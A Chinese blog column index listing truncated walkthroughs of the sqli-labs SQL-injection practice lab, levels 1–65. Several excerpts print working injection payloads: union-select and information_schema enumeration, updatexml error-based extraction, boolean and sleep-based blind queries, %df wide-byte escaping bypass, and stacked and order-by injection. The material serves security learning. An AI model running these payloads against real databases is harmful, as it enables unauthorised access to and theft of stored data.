
wed渗透
文章平均质量分 91
hcjtn
这个作者很懒,什么都没留下…
展开
-
sql-lab (54-65)
(54~60)sql-lab-54从54关开始,关卡开始有了难度54关仅允许我们输入十次语句,十次语句时候该靶场就会对里面所有的库名,表名,列名进行一个刷新。所以从这关开始,所有的语句仅供参考。第一步,先判断闭合方式:id=1 'and 1=2 --q页面报错,所以闭合方式为 单引号第二步,判断关键词禁用第三步 判断注入语句的构造思路应为该页面回显所以使用联合查询?id=-1’ union select 1,2,database() – q发现库名为:challenges?i原创 2022-01-25 19:57:42 · 1425 阅读 · 0 评论 -
sql-lab (46~53)(后持续更新) order by 注入
(46~50)sql-lab-46一进入46关页面就提示我们使用 sort :我们尝试这使用 ?sort=1 发现:然后 ?sort=2:?sort=3:我们发现当我们使用 sort=1 时 表格以第一列进行排列,sort=2 时 表格以第二列进行排列, sort=3 时 表格以第三列进行排序。我们想到了order by 函数 ,猜测可能是与 order by 函数相关的注入。查看源码:$sql = "SELECT * FROM users ORDER BY $id";原创 2022-01-25 11:39:50 · 2840 阅读 · 0 评论 -
sql-lab (41~45)(后持续更新)
(41~45)sql-lab-41与40关相同,使用堆叠注入,时间盲注,我们发现仅仅只是包裹方式不同解析表名:?id=1’ and if((ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101),sleep(5),1)-- q 第一位是 e解析字段名:?id=1’ and if((ascii(substr((selec原创 2022-01-22 20:16:02 · 2778 阅读 · 0 评论 -
sql-lab (36~40)包括堆叠注入,Mysql_real_escape_string 和addslashes区别(后持续更新)
(36~40)包括堆叠注入,Mysql_real_escape_string 和addslashes区别sql-lab-36和前面的关卡一样,本题对 ’ 进行了注入,我们可以利用以前学过的办法,使用 %df 进行一个绕过。判断注入点:?id=1 %df’ and 1=2 – q判断字段数:id=1 %df’ order by 4-- q判断显错位:?id=-1 %df’ union select 1,2,3-- q判断库名:?id=-1 %df’ union select 1,datab原创 2022-01-20 13:34:00 · 716 阅读 · 0 评论 -
sql-lab (32~35)包含对 宽字节注入的原理理解及注意事项(后持续更新)
(32~35)包含对 宽字节注入的原理理解及注意事项sql-lab-32我们先对32关进行一个传参,发现:1\'and 1=2 在这里 \ 代表的意思是‘转义’,把后面的 ‘ 转义成了字符串,使单引号不再具有’作用‘,仅仅是’内容’而已,或者说这个单引号无法发挥和前后单引号闭合的作用,使后面的输入不被当作代码执行。所以我们就有两个办法:让 \ 失去作用让 \ 消失对与思路一,我们可尝试对 \ 进行转义,使其失去转义 ‘ 的作用。宽字节这原创 2022-01-18 13:38:31 · 1202 阅读 · 0 评论 -
sql-lab 26~31总结(后续持续更新)(含参数污染解释)
sql-lab 26:在一开始我们先尝试使用?id=1’ and 1=2 – q,发现在注释过程中 and 和 – q都没有生效,说明它将我们的这些东西都给过滤除去我们先观察它的源码<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.or原创 2022-01-15 16:53:35 · 781 阅读 · 0 评论 -
sql-lab 21~25总结(后续持续更新)(含二次注入解释)
二十一关输入admin发现好像没区别我们来对二十一关进行抓包:发现它cookie发生了变化,不在是上一关的admin, 而是一串乱码。这是因为:admin进行了一次 base64编码$cookee = base64_decode($cookee);我们可以对它进行一次解码:发现就是admin。剩下的和20关相同。只需讲语句转化为base64的加密将:admin 'and updatexml(1,concat(0x7e,(select database()),0x7e),1) – q原创 2021-12-20 19:35:29 · 2832 阅读 · 0 评论 -
sql-lab 11~20总结(后续持续更新)内含18关火狐无法抓到本地包的解决方法
十一题的传参方式变成了post传参 但注入方式差不多判断注入点 'or 1=1 – q判断字段数’or 1=1 order by 2 – q判断回显点 ’ union select 1,2-- q查询相关内容判断库名 ’ union select 1,database()-- q判断表名’ union select 1,table_name from information_schema.tables where table_原创 2021-12-17 20:14:50 · 2791 阅读 · 0 评论 -
sql注入——php源码的审计(以sql-lab 1~15为例)(超详细)
sql注入——php源码的审计(以sql-lab 1~15为例)(超详细)sql注入sql注入:web应用对用户输入数据的合法性没有判断,并且传入的参数是攻击者可控的,因此攻击者通过构造不同的sql语句来实现对数据库的操作(对数据库的操作:与数据库产生交互都有可能存在,sql注入)两个关键条件:1. 参数用户可用。2. 参数带入数据库查询SQL注入根据个人学习所得,大概分为如下几种:联合查询注入(整型注入、字符型注入、宽字节注入、二次注入、堆叠注入等等)报错注入(通过报错函数大致分为up原创 2021-12-13 19:29:14 · 1305 阅读 · 0 评论 -
sql-lab 1~10总结(后续持续更新)
sql注入的一般流程:(1~6关)判断注入点当 id=1 and 1=2 – q页面异常是可能存在在sql注入若页面出现非法,使用其他注入。判断字段数order by (根据指定的列对结果进行排序),输出的数字超过列数,报错,因此可以借助此特性,进行列数的判断。判断回显点eg: union select 1,2,3 页面显示2,说明回显点在2注意:要让id的值等于一个不存在的值,这样联合查询的返回值会让union之后的查询结果在数组的第一列。只有让id的只是一个不原创 2021-12-11 11:01:51 · 753 阅读 · 1 评论 -
sql 盲注 (web渗透)
sql 盲注 (web渗透)sql 盲注 主要是应对页面对wed错误应对的比较好的情况下使用(即,错误不回显)布尔盲注利用页面 返回 还是 不返回 这样两种状态的改变来判断我们想要的结果(布尔为 0 或1 两种情况)解题步骤:(下面举例均以 sql-lab less-8为例)获取数据库名字的长度: ?id=1’ and (length(database()))=8-- q(利用> < 或 = 来判断其数据库长度)获取数据库名字:?id=1’ and ascii原创 2021-12-09 11:00:50 · 2381 阅读 · 0 评论